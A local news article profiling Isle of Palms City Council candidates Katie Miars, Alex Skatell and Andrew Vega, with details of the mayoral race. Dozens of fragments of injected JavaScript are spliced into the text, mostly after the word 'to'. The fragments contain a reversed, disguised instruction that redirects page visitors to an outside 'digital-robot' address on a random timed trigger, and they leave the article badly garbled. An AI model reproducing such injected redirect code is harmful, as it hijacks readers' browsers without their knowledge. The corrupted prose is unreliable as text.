Candidates For Council

By Brian Sherman for The Island Eye News

The list of candidates seeking election tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Isle of Palms City Council has reached at least six, while the mayor’s race remains a faceoff between current Council members Ryan Buckhannon and Phillip Pounds. The filing deadline is Sept. 3. Katie Miars, Alex Skatell and Andrew Vega have filed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to run for the Council, joining John Bogosian, Blair Hahn and Jeffrey Rubin in the race for four Council seats. Incumbent Council members Randy Bell and Susan Hill Smith have not yet decided whether they will seek reelection. Buckhannon’s term has expired, but if Pounds loses his bid for the mayor’s seat, he will be able tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to serve two more years on the Council. If Pounds wins, a special election tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fill his Council position will be held. 

Katie Miars 

Katie Miars

Miars, a Jacksonville, Florida native, graduated from the University of South Carolina School of Law in 2005 and has lived in the Lowcountry since that time. She, her husband and their three children moved tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Isle of Palms in 2016. Two years later, she decided tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to give up her law practice “tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to devote myself tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to my family and my community.” She has served as a volunteer at Sullivan’s Island Elementary School, was a substitute teacher at the school and in 2020 became the president of Friends of SIES. “I love Isle of Palms, the people, the beaches and all it has given my family. I would love the opportunity tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to give back tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the island,” she said. 

Alex Skatell 

Skatell, whose first summer job was as a parking lot attendant at the Charlestobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton County lot on IOP, reached his goal of returning tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the island last year. Spending much of his career advising government entities at the state, local and national levels, he has been recognized by Forbes as a 30 under 30 recipient and by Fortune as a 40 under 40 business leader. He also has served as a board member of the Georgetobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}town University Institute of Politics and Public Service, the Clemson University Spiro Institute, the News Media Alliance and several nonprofits. “I learned the impact we can make tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together sitting in on fundraisers with my late mom, Laura Skatell, as neighbors came tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together without tax dollars tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to plant palm trees and bury power lines down Palm Boulevard,” he commented. 

Andrew Vega 

Andrew Vega

A graduate of the United States Air Force Academy, Vega served on active duty from 2003 tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 2012. He currently is a commercial airline pilot and also serves in the Air Force Reserves. He moved tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Isle of Palms in 2018. He is a lifetime member of VFW Post 3137, and both his children attend Sullivan’s Island Elementary School. “Over the course of my aviation career, I’ve had the opportunity tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work with people of different cultural backgrounds, occupations and areas of expertise tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to create a cohesive environment where all members were valued,” he said. 

“I always wanted tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to live here,” Vega added. “It’s always felt like home, and it’s a special place. I don’t plan on living anywhere else – this is our forever home.”

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